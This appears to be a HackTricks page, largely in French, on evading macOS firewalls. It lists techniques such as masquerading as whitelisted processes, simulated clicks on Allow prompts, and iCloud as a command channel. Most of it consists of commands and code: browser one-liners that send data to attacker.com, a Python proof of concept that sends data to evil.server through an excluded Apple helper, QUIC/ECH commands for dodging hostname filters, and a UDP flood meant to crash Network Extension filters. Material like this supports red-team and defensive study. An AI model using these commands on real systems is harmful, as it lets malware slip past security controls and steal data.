macOS Bypassing Firewalls
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Found techniques
The following techniques were found working in some macOS firewall apps.
Abusing whitelist names
- Par exemple, appeler le malware avec des noms de processus macOS bien connus comme
launchd
Synthetic Click
- Si le firewall demande la permission à l’utilisateur, faire en sorte que le malware simule un clic sur Allow
Use Apple signed binaries
- Comme
curl, mais aussi d’autres commewhois
Well known apple domains
- Le firewall pourrait autoriser des connexions vers des domaines Apple bien connus tels que
apple.comouicloud.com. Et iCloud pourrait être utilisé comme un C2.
Generic Bypass
Quelques idées pour essayer de bypasser les firewalls
Check allowed traffic
Connaître le trafic autorisé vous aidera à identifier les domaines potentiellement en liste blanche ou quelles applications sont autorisées à y accéder
lsof -i TCP -sTCP:ESTABLISHED
Abuser le DNS
Les résolutions DNS sont effectuées via l’application signée mdnsreponder qui sera probablement autorisée à contacter les serveurs DNS.
.png)
Via les applications de navigateur
- oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
- Google Chrome
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
- Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
- Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Via processes injections
Si vous pouvez inject code into a process qui est autorisé à se connecter à n’importe quel serveur, vous pouvez contourner les protections du firewall :
Récentes vulnérabilités de bypass du firewall macOS (2023-2025)
Web content filter (Screen Time) bypass – CVE-2024-44206
En juillet 2024, Apple a corrigé un bug critique dans Safari/WebKit qui a perturbé le « Web content filter » système utilisé par les contrôles parentaux Screen Time. Un URI spécialement conçu (par exemple, avec “://” doublement encodé en URL) n’est pas reconnu par l’ACL de Screen Time mais est accepté par WebKit, de sorte que la requête est envoyée sans filtrage. Tout process capable d’ouvrir une URL (y compris du code sandboxed ou unsigned) peut donc atteindre des domains qui sont explicitement bloqués par l’utilisateur ou par un profil MDM.
Test pratique (système non corrigé) :
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
Packet Filter (PF) bug d’ordonnancement des règles dans les premières versions de macOS 14 “Sonoma”
Pendant le cycle bêta de macOS 14, Apple a introduit une régression dans le wrapper userspace autour de pfctl.
Les règles ajoutées avec le mot-clé quick (utilisé par de nombreux kill-switches VPN) étaient silencieusement ignorées, provoquant des leaks de trafic même lorsque la GUI VPN/firewall indiquait blocked. Le bug a été confirmé par plusieurs fournisseurs VPN et corrigé dans RC 2 (build 23A344).
Vérification rapide de leak:
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
Abuser des services auxiliaires signés par Apple (obsolète – pré-macOS 11.2)
Avant macOS 11.2, la ContentFilterExclusionList permettait à environ 50 binaires Apple tels que nsurlsessiond et l’App Store de contourner tous les pare-feux à filtrage de sockets implémentés avec le Network Extension framework (LuLu, Little Snitch, etc.).
Un malware pouvait simplement lancer un processus exclu — ou y injecter du code — et acheminer son propre trafic via la socket déjà autorisée. Apple a complètement supprimé la liste d’exclusion dans macOS 11.2, mais la technique reste pertinente sur les systèmes qui ne peuvent pas être mis à jour.
Example proof-of-concept (pre-11.2):
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
QUIC/ECH pour contourner les filtres de domaine de Network Extension (macOS 12+)
Les NEFilter Packet/Data Providers se basent sur le TLS ClientHello (SNI/ALPN). Avec HTTP/3 over QUIC (UDP/443) et Encrypted Client Hello (ECH), le SNI reste chiffré, NetExt ne peut pas parser le flux, et les règles basées sur le nom d’hôte échouent souvent en fail-open, permettant au malware d’atteindre des domaines bloqués sans toucher au DNS.
PoC minimal:
# Chrome/Edge – force HTTP/3 and ECH
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--enable-quic --origin-to-force-quic-on=attacker.com:443 \
--enable-features=EncryptedClientHello --user-data-dir=/tmp/h3test \
https://attacker.com/payload
# cURL 8.10+ built with quiche
curl --http3-only https://attacker.com/payload
If QUIC/ECH is still enabled this is an easy hostname-filter evasion path.
macOS 15 “Sequoia” Network Extension instabilité (2024–2025)
Les premières builds 15.0/15.1 plantent les filtres tiers Network Extension (LuLu, Little Snitch, Defender, SentinelOne, etc.). Lorsque le filtre redémarre, macOS supprime ses règles de flux et de nombreux produits passent en fail-open. En submergeant le filtre avec des milliers de flux UDP courts (ou en forçant QUIC/ECH), on peut provoquer à plusieurs reprises le plantage et laisser une fenêtre pour le C2/exfil pendant que l’GUI affirme toujours que le firewall est actif.
Reproduction rapide (environnement de test sécurisé) :
# create many short UDP flows to exhaust NE filter queues
python3 - <<'PY'
import socket, os
for i in range(5000):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'X'*32, ('1.1.1.1', 53))
PY
# watch for NetExt crash / reconnect loop
log stream --predicate 'subsystem == "com.apple.networkextension"' --style syslog
Conseils d’outillage pour macOS moderne
- Inspectez les règles PF actuelles générées par les firewalls GUI :
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
- Énumérez les binaires qui possèdent déjà l’entitlement outgoing-network (utile pour piggy-backing) :
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
- Enregistrez par programmation votre propre Network Extension content filter en Objective-C/Swift. Un PoC rootless minimal qui redirige des paquets vers un socket local est disponible dans le code source de LuLu de Patrick Wardle.
Références
- https://www.youtube.com/watch?v=UlT5KFTMn2k
- https://nosebeard.co/advisories/nbl-001.html
- https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html
- https://www.securityweek.com/cybersecurity-products-conking-out-after-macos-sequoia-update/
- https://learn.microsoft.com/en-us/defender-endpoint/network-protection-macos
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

